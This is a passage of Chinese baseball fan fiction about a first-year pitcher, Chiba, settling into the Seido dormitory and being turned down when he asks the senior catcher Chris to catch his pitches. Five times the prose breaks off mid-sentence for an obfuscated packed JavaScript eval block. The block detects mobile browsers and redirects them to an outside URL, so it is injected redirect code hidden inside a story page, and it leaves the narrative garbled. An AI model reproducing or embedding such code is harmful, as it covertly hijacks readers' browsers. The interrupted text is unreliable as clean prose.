坏前辈也发觉了自己刚刚太过惊吓,显得很没有前辈范儿,很快切换到一副热情的表情,仿佛刚刚的一切都没发生一样,欢快地对他道:“学弟好学弟好,我是菅田信久,三年级,哦对,这个给你,见面礼。” 坏前辈说着递他一瓶波子汽水,跟他们两人是同款。 “……”这个心理素质真的够好的。千叶想。 “谢谢前辈。”他把前辈递过来的波子汽水接过来,决定绝对不会把这东西喝进嘴里。 场面到这里一时有点过于安静了。 千叶和丹波不爱跟陌生人说话,菅田倒是很爱说话,可此时他觉得有点尴尬,所以也什么都没说。 千叶默默侧身让开位置,让两位前辈进来,两位前辈默默地走进屋里,一个开始整理洗浴用品,一个拿出手套油品和护理剂开始保养手套。 千叶对于宿舍的沉默适应良好,背对着前辈将自己的脏衣服换下来,套上普通的长袖t恤,拿着洗漱用品和装脏衣服的包下楼去洗澡。 等他找到澡堂子的时候,里面已经没有人在了。 四月初的天气还有些冷,千叶赶紧洗了头冲了身体就出了浴室,出门的时候风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926199|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一吹还有点冷。其实他注意到浴室里还有汤池,但他完全不想进去让自己的肌肉放松一下——一看就知道之前不知道有多少人泡过,他就不进去了。 出了浴室又找洗衣房。 四周都是土路,偶尔还能看见墙角的杂草。 该说果然是名门吗?连建筑物都是上了年纪的。 千叶找到了洗衣房,洗衣房里面人不少。 也是,只有到了晚上大家才有空洗衣服。千叶想。 排队,排队。 大家都在安静地等着自己的衣服洗完,有个别带着作业在洗衣房写的前辈,让千叶压力很大。想想也是,距离春假结束只剩下不到一个星期,积极一点、对自己的学习还有点追求的,假期作业现在也该补了。 幸亏他只是还没上学的一年级。 千叶扭头不再看那位补作业的前辈,安心等着他前一位把洗衣机里的衣服拿出来。一时间,他的耳边只能听到洗衣房外用刷子划拉衣服的“唰唰”声。 他今天全跑步去了,身上的队服除了灰尘外没有泥沙,洗衣服倒是方便了很多,可以直接扔到洗衣机里,就是洗衣机是公用的,还要在原地等着衣服洗好,以免跟其他人的衣服弄混。 终于洗好了衣服,找了个远离其他人晾衣服的地方把衣服挂起来,千叶回到寝室的时候,里面已经空无一人了。 他看着自己柜子和行李箱叹气。 妈妈出差去了,行李是他老爸给他装的,带来的东西跟他的人一样没有什么用处。甚至忘了给他拿点厚实一点的衣服,他的投手手套也没带过来。 这也是他的错,他应该提前把东西收拾好,不应该等着他老爸搞,全权委托给老爸后果就是现在这样。 千叶认命地开始整理柜子,把随随便便塞到柜子里的长袖短袖一件一件分类叠好,然后把行李箱塞到床底下,最后上床安详地躺好。 虽然外面有点人说话走动的声音,但他今天太累了,躺下没多久就睡着了。 他睡得迷迷糊糊的时候,隐约听到寝室门被打开,听到两个前辈小声交谈,“这个时候就睡了啊。”,“第一天嘛,大概还不习惯……”然后在一阵窸窸窣窣的放轻的声音后,寝室里彻底陷入黑夜的梦乡。 好像这两个前辈,人也还挺好的……应该不会被欺负了吧……千叶陷入沉睡前想。 流水账的一天结束了。 …… “喂,醒醒,醒一醒,要晨训了,再不起床就迟到了。” 第二天睡眼朦胧地被丹波叫起来,千叶茫然地看着头顶的床板,啊,不在家里了。 千叶扭头,看向旁边叫他的人。 啊,这个前辈不是很帅。 新的一天开始了。 9. 捕手(1) 那个嚣张的新人被分到了菅田和丹波宿舍。 东清国在听到这个消息的时候笑得直拍大腿:“菅田那个混蛋总欺负老实的丹波,现在终于要遭到报应了!” 被叫做混蛋的菅田非常不服气,球棒指着东清国抗议:“你不也欺负伊佐敷,怎么没看见你遭报应!” “那怎么能一样!” “怎么不一样!” “伊佐敷吵得人头疼,心脏那么大!皮实孩子欺负俩下增进感情,丹波连大声说话都不敢!你也狠得下心!” “哦,你欺负伊佐敷就是增进感情,我跟丹波交流感情就叫欺负!我明明是帮丹波磨练脸皮融入集体!” “你装模作样!” “你睁眼说瞎话!” ……更衣室里的吵闹传到了外面,惹得外面的三年级直翻白眼。 虽然东清国已经做了队长,可人还是那么臭屁,虽然他们已经升了三年级,但原本里面不靠谱的菅田,现在还是没有什么长进。 二年级的小凑和结成夹在其中,还是没怎么习惯前辈们的吵闹。 “幸好话题主人公丹波不在啊,否则脸又该红得不行了。”小凑笑咪咪地说。 结成一脸问号地看着他,显然没搞明白发生了什么。 小凑:“……” 好吧,原来没适应前辈的吵闹的原来只有他一个啊。小凑无奈微笑。 —— 对于春假训练这几天的生活,千叶的评价是水深火热。 大概就是这样跑了三四天,千叶的身体已经开始习惯每天的跑步和寝室生活,可是他还是觉得不舒服。 肉/体上的依从跟精神上的认同没什么关系,千叶依旧觉得自己的脆弱的心灵受到了伤害——原因有二。 其一,因为隔壁宿舍平均颜值十分地低。 怎么会有一个寝室里,每个人都长得及其高而壮实且不好看。宿舍难道是按颜值分的吗?那以他的颜值为什么没有跟克里斯前辈分在一起。 千叶百思不得其解。 隔壁的前辈和同期一看就非常有实力。 他每天打开门前都需要做心理建设,(虽然知道很不礼貌,但他还是会每天祈求一遍)“希望隔壁的同期前辈已经走了吧!” 然后再开门。 “……前辈早。”千叶面色僵硬地问好。 “……早上好。”一个不知道姓名的难看的前辈惊吓了一下回应道。 “噗,早上好。”另一个走在后面的难看的前辈差点没忍住笑地回应道。 最后那个被两个前辈堵在后面的难看的同期:“……” 同期对千叶点点头:“早上好。” “早上好。”千叶依旧僵硬地回应道。 但一般就会碰到这种情况。 虽然没有正经研究表明颜值跟棒球实力成反比关系,千叶甚至还能举出许许多多的反例,但他还是自顾自相信,按照隔壁的颜值,他们的实力应该都是能进一军的水平,即使没有进入一军,也有进入一军的潜力,像一拳超O一样,“我变丑了也变强了”。 没道理难看得那么巨大,打击率还不高吧!千叶刻薄地想。 其二,因为宿舍前辈每次都会寝很晚。 寝室里两个前辈在晚上要私下训练。 丹波前辈要做重训,菅田前辈去练打击。虽然他们的动作很轻,但他每次还是会被他们两个回寝室的声音吵醒。 这倒不是什么大问题,大问题是千叶实在不知道他们是怎么做到每天睡那么晚,第二天还能起那么早。 他可是每天晚上十点准时上床睡觉,第二天早上五点半多起床,还是整个寝室起最晚的人啊! 难道棒球打着打着就能让人进化掉睡眠变成究极生物吗?那他现在怎么一天到晚还要睡那么多觉?是他不够努力,还是寝室两个前辈偷偷进化的时候没带他? 千叶百思不得其解(×2)。 太卷了。真的太卷了。每天他跑得都快累成死狗了,回到宿舍差点都不想洗澡洗衣服了,同寝室的前辈居然还在加训。 千叶不得不承认自己被卷到了。倒不是他想努力,也不是担心被前辈们落下太远,毕竟前辈是比他多在这个世界上呆过一年两年的人,经验肯定比他丰富,如果能被他轻易追上反而奇怪,只是……怎么说呢。 一个人如果在一个积极向上的氛围里,即使不愿意也会被裹挟着向前走。就像升学名校录取偏差值高的学生。 他那天晚上好不容易决定出去溜达一圈,看看周围环境,就发现几乎他周围所有的人都会在晚上休息的时间出去挥棒。 隔壁长得不好看的同期、其他寝室的陌生的前辈……所有没办法留在有灯光的室内馆练习的人,都在没有路灯的小路下,用手上的球棒划破空气,发出“忽——忽——”的声音,仿佛能掀起飓风。 这都是青道的传统了。似乎每一届都会如此,前辈这样做了,所以后辈也学着这样去做。这就是甲子园的精神吗?即使不是一军的人也这么努力地训练吗?千叶有些不明觉厉。 从千叶的角度看,这样训练的方法很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926200|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗糙,近乎完全凭精神论地去挥棒,跟他接受的教育完全不同。从小到大,他的一切训练计划都严格且科学,甚至他跑步的姿势都是经过专业的教练固定的,保证不会伤到膝盖,还能锻炼体能,让肌肉更发达。 保护自己的身体、克制但有效的使用自己、精准地把努力的效益最大化——贯穿他整个运动生涯。 所以他甚至不知道像前辈和同期那样的努力究竟是好是坏。这样做对身体真的好吗?以后如果想要继续发展的话不会后悔吗?甲子园……听说青道很多年没有打进甲子园了,即使是这样也要继续挥棒吗? 他想不明白,跑步的时候也一直在想。 于是在跑步跑到第六天的晚上,也就是春假训练的最后一天,他终于下定了决心。 “菅田前辈,请问你们每天晚上活动时间的特训都做些什么呢?”千叶鼓起勇气问。 恰好,寝室只有他们两个人,菅田在打游戏,丹波去洗澡了不在,而他刚刚吃完饭,准备带着洗漱用品等二年级的前辈们洗完澡再去浴室。 菅田因为他突然的搭话吃惊了一瞬,自从上次吓人不成反被吓的事件过后,这还是他们第一次除了“前辈好”、“早安”外其他的交流。 这对话太像人了,他一时没有反应过来。 “前辈?” 没什么表情的嚣张后辈看过来了!菅田赶紧道:“也没有什么,我多数时候会跟隔壁上林练一下挥棒。” “那丹波前辈呢?” “他大多数时候会用室内器材练体力,偶尔还会跟克里斯一起练球吧。” 面前的后辈忽然抿抿嘴:“菅田前辈,请问克里斯前辈是哪个宿舍的呢?我想让他也接我的球,不知道可不可以。” 欸?!让克里斯接、接他的球?还是在他说完克里斯会跟丹波练球之后?你们俩可都是投手啊傻孩子!知道这话是什么意思吗! 菅田大惊失色,立马扭头看向空荡荡的身后,又迅速抬头看上铺。丹波不在。 丹波,你这家伙怎么这么关键的时候不在啊!菅田内心大喊。 菅田又转头看向千叶,发现他还在看着他,心中更加崩溃了:我刚刚多嘴说什么啊,干脆直接说不知道丹波干嘛不就好了嘛!这家伙难道是想让我转告丹波要向他宣战吗?! 就在这时,寝室的门忽然被推开,千叶和惊恐的菅田两人同时看去。 刚刚洗完澡脖子上还搭着毛巾的丹波走了进来。 “……怎么了吗?”丹波看着两个奇怪地盯着他的人,不解地问。 10.捕手(2) 暮色四合,灯光从敞开的寝室门洒到屋外的走廊上。 丹波的面前,有一个面无表情的学弟,还有一个表情扭曲的学长。 第一次洗完澡回寝室受到这么隆重的注目礼,丹波有点摸不着头脑,他随手关上门,看向了表情正常一点千叶,希望他能出来解释一下。 “丹波前辈……” “千叶,你先别讲话。” 千叶刚要开口,就被皱眉盘腿抱胸坐在地上的菅田打断了话头。 随后寝室陷入了沉默。 此时,寝室里一共有三个人。 其中,年纪最大的是菅田信久……此刻的他并不想拥有姓名。 看看吧,他都面对着什么悲惨的境地——刚回来的可怜的丹波还不知道发生了什么,一脸疑惑;臭小子后辈千叶面无表情地上挑眉毛,好像在等着这个打断他的前辈继续往下说话,看他这个前辈嘴里能吐出什么象牙。 怎么办,宿舍的和平生活就要就此被打破了吗?!好吧!虽然以前也没多么和平,但他也不想气氛变成冰窖啊!为什么他的后辈就这么不省心啊!菅田面上严肃,心里张牙舞爪地抓狂。 可这情况由不得他,他是这个寝室里最年长的,是前辈,这个时候只有他能平息这场即将来临的波乱! 菅田终于慢吞吞地斟酌地开口解释:“是这样,千叶想找人练习接球……” “我想让克里斯前辈给我接球,不知道他有没有时间。”这次轮到千叶打断菅田的话。 菅田的眼中看到了,千叶倔强但嚣张的脸直直地面向可怜又无辜的丹波。 完了。菅田心里想。 先不说后辈打断他的话非常没有礼貌这件事。 原本还想着,今天先把千叶这小子糊弄过去,明天再把他丢给近藤或者宫内接捕,一切矛盾化为无形,万事大吉。 结果这小子就这么大咧咧地,直接把要克里斯接他的球说出来了…… 一个刚入部不到一个周的新生,居然就想着让正捕接他的球!虽说确实很有上进心……但是!怎么能当着丹波的面直接说出来呢!丹波可是跟克里斯同一级的投手,两人关系好的不得了,你让丹波的捕手接你的球,这跟直接向丹波宣战有什么区别?什么——“我要你的正捕给我接球!” 这个寝室终于要变成争夺正捕的大战了吗! 我一个野手为什么要在这里调节投手之间的关系。这个时候我为什么要在寝室!这就是偷懒的报应吗?我只是想休息一天啊。 马上开学了,要打练习赛了,丹波的情绪不会被影响到吧。千叶万一被拒绝了不会生气吧,他不会骂丹波吧,骂了丹波不会骂我吧…… 但事情有点出乎菅田的预料。 听到千叶的话的丹波愣了一下,但也只是点点头道:“今晚我跟克里斯说约好了要在室内馆投球,你洗完澡也可以过去。” “谢谢丹波前辈。”千叶还是那张淡定脸,有礼貌地道了谢。 “别急着谢我,够不够格让克里斯接你的球还是另一回事。”丹波一边说着,一边拿下脖子上的毛巾,像往常一样开始整理洗漱用品。 出乎意料的风平浪静。 菅田木然。 这个时候嚣张的后辈倒是有礼貌了。刚刚那副嘲讽脸怎么没对丹波使出来啊。 事情的发展为什么会这样!丹波未免也太好脾气、太好欺负了。后辈都爬到你头上了!居然还要带他去找克里斯?你可是一军的投手啊!虽然平常大家经常吓唬你跟小泉别被一年级赶下先发投手丘,但你怎么真给一年级这个机会啊! 菅田还是那副抱胸盘腿的姿势坐在地上。 ‘千叶,刚入部不到一个周的菜鸟就想让正捕接你的球?太嫩了!等什么时候你进一军再说这样的话吧!’——应该说这种话才对啊! “菅田前辈……”正要准备去洗澡的千叶突然回过头望向他。 菅田以为自己真的把心里话说出来了,心头猛地一跳,非常没有前辈威严地结结巴巴:“干……干嘛?” “那种姿势坐的时间久了,不会腿麻吗?”千叶貌似很真诚地发问道。 菅田:“……” —— 千叶觉得同寝室的菅田学长,可能对他有点误会。 这件事他也是今天晚上才发现的。 连拜托克里斯前辈接球这种平平无奇的事情,到了菅田前辈那儿都能被脑补出一场他跟丹波前辈大战的戏份……该说不说,千叶觉得这前辈是真的脑洞够大,表情还都写在脸上。 天地良心,他自从听说了日本体育社团前后辈关系严格到有时候学弟都要帮学长刷鞋洗衣服后,他就可老实、可注重前后辈礼仪了。他说的每句话都好好用了敬语、每天都主动跟不好看的前辈打招呼、也没有随随便便没大没小、即使想吐槽也憋住了……抛开心里偷偷评头论足,千叶觉得自己从来没有对前辈有过什么不尊敬的心思。 但是吧……菅田前辈似乎就认定了他一个刺头后辈,闲着无聊就会惹事生非,以至于他都那么礼貌地拜托,希望他能帮忙把他引荐给克里斯前辈,但菅田前辈还是觉得他在找事,要跟丹波打架。 啊,拜托,我只是想试着找一种变化球投一投、找个帅气的捕手接捕而已,不要搞得好像我要抢丹波前辈的女朋友一样! 克里斯前辈既不是丹波前辈的女朋友,丹波前辈也没有女朋友,太小题大做了菅田前辈! 就算是同年级一起进步成长、感情深厚的投捕,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938775|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能永远只跟对方搭档,所以作为一军的正捕手的克里斯前辈,为什么不能给我接球呢? ‘干嘛搞出一副如临大敌的模样……’千叶想起菅田的模样,有气无力地心里想。 归根到底,还是因为我不够厉害吧。如果我比丹波前辈更厉害的话,选择自己喜欢的捕手接球这种事情就是理所应当的,不会有人有异议,也不会有现在这么多麻烦。 千叶其实并不想先洗澡再练球,因为这样大概又会出汗,让自己很不干净,但浴室的开门时间有规定,等练完大概率已经关门了,所以现在他只能老老实实擦擦身体,换件干净的内搭,然后往室内训练馆走过去。 一阵微风拂过刚变嫩绿的青草,绕到了千叶耳后,他的头发还没有吹干,这阵风一吹,让他感觉脖子一阵凉飕飕的,忍不住打了个哆嗦。 心头的不爽的憋闷感,似乎因为这阵冷风的挑拨燃烧得越发强烈了。 好烦啊。 这个天气没有外套穿冷,一会儿还要练习又累,练习过后不仅热还会一身汗臭,晚睡前剧烈活动绝对会影响睡眠质量…… 啊,我到底在烦什么。为什么要出来,这不都是自找的嘛。 千叶闷闷地踢走了他脚边无辜的小石子,小石子“啪——”地一声轻响,被他踢到铁皮门上。 “碰——”与此同时,千叶听到了棒球砸进手套里的声音。 室内训练馆就在距离寝室不远的地方。 托丹波前辈的福,这还是他第一次走进来。果然表里如一,不管从外面还是里面看,这训练馆都像是废旧仓库改造的。从外边的铁皮大门,到里面的接球网,没有一个不是上了年纪。 所以说果然是豪强吗?连接球网都是祖传的?这才刚开学,难道没有新的摆出来迎接新学期吗?因为几年没打进甲子园、所以连赞助费都大幅度缩水、以至于连个新球网都没有吗?网兜都褪色了。 千叶鼓起脸默默地敌视一进门就看到的旧球网兜,觉得它十分不符合自己的审美。 网兜前,丹波在跟克里斯练习曲球。 丹波神情很专注,即使他看到了网后的千叶也没有因此分散注意,控球的准度反而有了提升。 千叶盯着丹波投球的轨迹看了两眼,就能判断出丹波前辈曲球完成度不是很完美,偶尔有几颗没有那么大的弧度的容易被打出去,但一旦投好,轨迹就会很漂亮,让站在打击位上的打者很难找准打点和时机。 千叶也想练一种变化球,今天他就是为这而来的。 但要先学哪种呢? 千叶看着蹲在他不远处、网兜前的棕发捕手,猜测这个捕手会喜欢什么类型的配球,可在他抬手的一瞬间,千叶忽然发觉了好像有些许不对劲的地方。 11.捕手(3) 不协调。 这是千叶看到那个捕手的投球姿势时的第一反应。 或许是从记事起他就比较看脸,观察帅哥美女几乎成了他一种下意识的本能反应。看到帅哥美女就多看两眼,看到难看或者长相一般的身边人就下意识过滤掉,为此,他常记不住周围长相普通的同学,以前在美国读书打球的时候,还差点被看成是目中无人,被周围人合伙教训一顿。 虽然霸凌……或许算得上霸凌吧,没有成功,但确实给他留下了心理阴影,起码让他知道了看脸不能太过分,就算是太过分,也要小心谨慎不能做得太过火,尤其不能让别人知道他是因为对方长得丑记不住他…… 没关系,看脸只是一个小毛病。虽然他知道不好,但他并不打算改,而且从小养成的行为习惯他也改不掉。 他还是习惯性地注意周围长得好看的人。 从长相、身材身材到五官、整个人的气质……看得多了,他很容易就能看出别人外表上的瑕疵,或者说“不协调”的地方。 一个人长得漂不漂亮,很重要的一点就取决于这人长得协不协调。 脸上有了瑕疵,帅哥美女就很容易看上去丑丑的,因为那些瑕疵是“不协调”的因素。 他愿意接受老爸给他制定的训练计划,很大一部分原因就是通过那些繁琐的东西,可以让他的肌肉在使用过程中保证“协调”,协调的动作在录像里看起来就会帅。 所以,是我的错觉吗?千叶想。 克里斯前辈,虽然他跟他完全不熟、甚至只有一面之缘、现在他还背对着他,但他还是能从身形一眼看出,目前给丹波前辈接捕的捕手就是克里斯前辈。他右肩膀的动作似乎有点“滞涩”。 “滞涩”跟协调没有任何关系,这也是他看他的动作觉得别扭的原因。 脸长得完美,身材也高大健硕,连气质都十分独特的克里斯前辈,居然在作为一个捕手向投手抛出球的时刻出现了不协调的因素——简直像像一整个精密而美丽的大机器,里面出现了一个忘记上油的齿轮,于是那个完美的机器在运作时,那颗齿轮发出了跟美丽完全没有关系的噪音。 不不不。 千叶闭上眼睛。 他并不是没有遇到过很特殊另类、不协调的帅哥美女,也不是没有见过投球姿势很奇怪、但投出的球很有威力的球员。每个人的身体状况不同,所以他认为的“别扭”不一定就是不好的。 不能因此认为“不协调”就是有问题。 千叶心中如此想。又重新睁开眼睛。 或许他要站在投手位置上看才能发现。 …… 几分钟后,并没有让千叶等很久,丹波前辈的投球练习告一段落。 他随手拿起放在不远处长椅上的毛巾擦着额角滚落的汗珠,克里斯前辈也走了过去过去。两人低声剖析着刚才投球时暴露的问题。 千叶沉默地从网兜后面走到距离两个不远的角落,视线停留在克里斯身上,等着他们讨论结束。 “……大概就是这些需要调整的地方。”正说话的克里斯发觉了丹波的心不在焉,“怎么了?” 视野里有个存在感太强的学弟在盯着你,你感受不到吗。 丹波心中叹气,抬手抹了把脸,对克里斯说:“我带来一个人,他有事找你。”又向千叶招招手,“千叶,过来。” 克里斯问言抬头,有些惊讶的沉沉的目光落在千叶身上。 千叶一眼就看出来了——跟他不记得别人的名字时候一样,克里斯前辈这是根本没留意到不远的地方还站着他这个学弟。 ——“……就是他吗?” ——“对,千叶一郎。跟我一个寝室。” 千叶看到克里斯前辈正在跟丹波前辈讨论他,于是向他们两个走过去。 等他走到他们眼前站定时,他们已经不再说话了,他只能看到克里斯那双暗淡无光的眼睛,淡淡地掀了掀眼皮打量他,几不可闻地回应了丹波前辈一声:“嗯。” 千叶完全没有听到他们说了些什么,心里只是想着该怎么打招呼,正在他纠结第一次见面应该是鞠躬,还是问前辈好就可以时—— “千叶一郎。” 他听到克里斯前辈叫了他的名字。 “是,前辈。”千叶下意识挺直脊背,攥紧拳头,脑子里乱七八糟的东西瞬间抛却脑后,消失得无影无踪。 不得不承认已经有点紧张了。 虽然有打断他没必要的思绪的因素在,但更大的原因是这是他跟青道的正捕手的正式意义上的第一次见面。 泷川·克里斯·优。青道二年级生,一年级夏甲前就成为了青道一军的先发捕手,身高180cm,体格优秀,配球灵活富有变化,接球技术好,有头脑;了解投手,即使是前辈投手也能与之配合默契;战术优异,能够有效利用打者准备、心理等因素制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952460|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定计划…… 不得不说,克里斯前辈是个足够优秀的捕手。目前而言,他作为投手是远远比不上克里斯前辈做捕手的。 他还在成长期,但克里斯前辈却几乎是一个已经成熟的捕手。这是时间上的差距,无法弥补。 投手和捕手是双向选择。他选择了强大而美丽的克里斯前辈,而克里斯前辈却不一定会选择他。 所以,现在这是他选择的捕手对他的面试。 来吧。我准备好了。千叶在克里斯面前站定,直面他暗淡又冷静的眼睛。 “你会投什么球?”第一个问题来了。 “……直球。”千叶的声音立马低下去。 我就是来学投变化球的,只会投直球没什么需要心虚的。 “我听宫内说过,你控球不错。” “……宫内?”坏了,刚建立的信心完全没有用,这人我完全没有印象。 “他是二年级捕手,招生测试的时候接过你的球。会投变化球吗?”还好,第二个问题来了。 但是,“……我不会。” 完蛋了。 空气安静了几秒,克里斯前辈还是没有什么表情的冷淡的样子,千叶只能听到远处传来的球棒击中棒球的轻响。 千叶觉得自己的眼神也要黯淡无光了。 “有目标吗?” “……”千叶猛地抬头,张了张嘴。 居然还有第三个问题,克里斯前辈居然又给了他一次机会。 现在说没有目标,显然是赶不上趟了。如果现在再没有目标的话,面试肯定会完全、彻底地失败。 电光火石间,千叶忽然有了目标—— “滑球,我要投滑球。” 滑球,当然了,滑球可是最最简单容易的变化球了。这要是学不会的话干脆他别去投手丘了,重新回去当打者算了。 “滑球吗……”克里斯听到这个回答沉思了一下,“的确,滑球比较好上手,配合你的球速也能发挥很大的作用。……所以你有什么问题?” 克里斯沉沉的眼睛看向千叶。 “……”千叶看了眼克里斯旁边的丹波,丹波将眼神移开。 千叶立刻明白了。 丹波前辈没有直接告诉克里斯前辈,他把这个机会留给了我。 于是千叶把视线转回,重新与克里斯深沉的目光对视,坚定道:“我想让克里斯前辈接我的球。” 12.捕手(4) 风吹动训练场外的草地。 千叶掷地有声的话,似乎令周围的打击声都静了一瞬。实际上也确实如此,周围几个练习打击的前辈,都因为他这句话放下了手中的球棒,一个个朝着旁边的队友挤眉弄眼。 千叶则完全没有在意周围的环境。他心跳得很快,期待克里斯前辈的回复简直比表白等着女生的回答还要紧张,虽然他从来没有表过白,但他能想象到那个画面:春天的樱花树下,伴随着心跳扑通扑通的配音,一位美丽的女子朝着心上人递出情书…… 啊,这是什么鬼,太夸张了吧。千叶默默吐槽一句。 这么古早的情节,少年jump大叔辈的漫画家都不会画了吧!作为电影情节如果出现在电影院,导演编剧肯定会被吐槽用脚写的剧本这么没心意吧! 而且这么奇怪的情节套用在克里斯前辈和自己身上就更让人受不了啊! 经此一役,千叶倒是一点不紧张了,不仅不紧张,还有点被自己恶心道了。 他安心地等着克里斯前辈的回复,克里斯前辈却问了他一个风马牛不相及的问题:“你跟御幸、小野相处不愉快吗?” “欸?”千叶惊了一瞬,他从没想过克里斯前辈会是这个回答。 接不接球,找谁接球,跟可恶的御幸一也有什么关系?他不想找御幸接球啊。还有,小野是谁? 克里斯好像听到了他的心声,依旧表情淡淡:“他们是跟你同一级的捕手,如果想要练球,不是应该找同年级的捕手更方便吗?” “可我想让克里斯前辈接我的球……”千叶忽然有了不好的预感,“我是因为你才来青道的。” “抱歉,我接不了你的球,今天很累了。”克里斯说着向训练场外走去。 “那明天呢?”千叶不死心跟在他后面追问。 “明天休假了,千叶,而且马上就要开学了,要打练习赛,我会很忙。” “那开学以后,克里斯前辈什么时候有时间?什么时候都可以!” “等你把滑球练到能投到九宫格的时候吧。” ——大概就是这样,投手千叶一郎被捕手克里斯拒绝了。 此时此刻,见到这一幕场景的室内馆训练的前辈们和同期,都在千叶凝望着克里斯前辈的背影时,无声无息地走到了他的身后、丹波的旁边,把正想着怎么安慰千叶的丹波吓了一跳。 “被拒绝了啊。”——一道粗犷感慨的声音从失落地看着克里斯走远的千叶后边传来。 “被拒绝了啊。”——又一道粗犷深有同感的声音从脸色变得难看起来的千叶后边传来。 “被拒绝了啊哈哈哈哈哈哈!” 最后一道熟悉的幸灾乐祸的笑声成功惹怒了千叶。 “御幸一也!”千叶恼羞成怒,猛地回头看向那个看热闹的人群中帅的格外突出的捕手,“什么时候多了这么多不知道名字的前辈在这里就算了,你为什么也在啊!” “上林,我们是不知道名字的前辈啊!这臭小子不知道我们叫什么!”东清国愤愤地怼了旁边的人一肘子。 被怼得差点一个跟头的上林山诚冷漠地无语道:“东,你别这么大嗓门,不是所有人都应该知道你叫什么的。” “臭小子,我会用打击告诉你!”东清国指着千叶大声喊道,但无人在意。 “这个嘛~我想接小泉前辈的球,所以邀请了前辈,没有被拒绝,所以就在这里接前辈的球了哦。”被点名的御幸嘿嘿一笑,成功地让千叶拳头紧了。 无辜被戳的小泉次郎:“别把我拉进战场啊,一年级。” 站在旁边没有说话,被忽视好久的丹波:“……你们先聊,我先走了。” “前辈们再见!”千叶一脸怒气地鞠躬向前辈告别,跟在丹波后面也走了。 “喂喂喂,这就走了吗?都没有人在意我刚刚的邀战吗?!”——来自无人在意的某个东前辈。 …… 为什么?是因为我不是一军选手,资格不够吗? 半夜三更,睡眠很好的千叶难得地失眠了。 不,不对,是我的实力不够。我的球速的确很快,但并没有打破高中最速球的记录,甚至现阶段也不是不存在比我的球速更快的高中生——据说西东京这个恐怖的赛区就经常出会出几个150+km/h球速的投手同台竞技。 我在二年级前能达到这个球速吗?按照以前教练做过的数据推测,大概不行。 那我一年级岂不是不能上场比赛了吗?那要什么时候才能去甲子园? 日本高中甲子园球场为目标的球队,不会把比赛希望寄托在一个只有145km/h的直球派得上用场的球员身上的。 千叶躺在床上翻来覆去,最后忍不住坐了起来。 九宫格的滑球……学会了才有资格让克里斯前辈接我的球吗? 如果学会了滑球,我的实力会更强一点,这样的话,我能上场比赛吗?能进一军吗?有机会让克里斯前辈给我接捕吗? 如果帅气的捕手只能练习的时候随便接捕一下,那还不如跟一个难看的捕手一直合作! 上铺的一直没睡着的丹波:“……千叶,赶快睡觉。” “……是。” …… 清晨的天光,柔柔和和地洒向青道宿舍门口那挂着“青心寮”三个大字的牌子。 春光明媚的一天从清晨的青道宿舍开始。 已经起了床,拎着脸盆牙杯的菅田忽然发现今天起晚了的不止千叶,居然还多了一个丹波。 菅田站在他们两个的上下铺的床边,脸上露出一抹坏笑:“起床啦!” “啊——啊——啊!菅田前辈!” 超大一声,惊飞了停在门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960340|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的麻雀。 ——今天没有任务。 棒球部在晨训结束、吃完早饭后,上午的时间自由练习,下午就能回家,明天开学典礼集体休息一天,等第二天再集中训练。 不被允许训练的千叶今天也被高岛老师通知可以暂停跑步,练习自己想训练的项目。 